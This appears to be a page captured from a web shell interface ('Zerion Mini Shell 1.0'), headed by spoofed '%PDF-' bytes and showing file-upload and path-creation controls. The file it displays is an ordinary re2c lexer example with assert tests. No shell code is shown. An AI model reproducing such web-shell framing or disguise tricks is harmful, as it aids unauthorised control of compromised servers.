%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/doc/re2c/examples/c/includes/
Upload File :
Create Path :
Current File : //usr/share/doc/re2c/examples/c/includes/include.re

// re2c $INPUT -o $OUTPUT -i
#include <assert.h>
/*!include:re2c "definitions.h" */

Result lex(const char *s) {
    const char *YYCURSOR = s, *YYMARKER;
    /*!re2c
        re2c:define:YYCTYPE = char;
        re2c:yyfill:enable = 0;

        *      { return FAIL; }
        number { return OK; }
        !include "extra_rules.re.inc";
    */
}

int main() {
    assert(lex("123") == OK);
    assert(lex("123.4567") == OK);
    return 0;
}

Zerion Mini Shell 1.0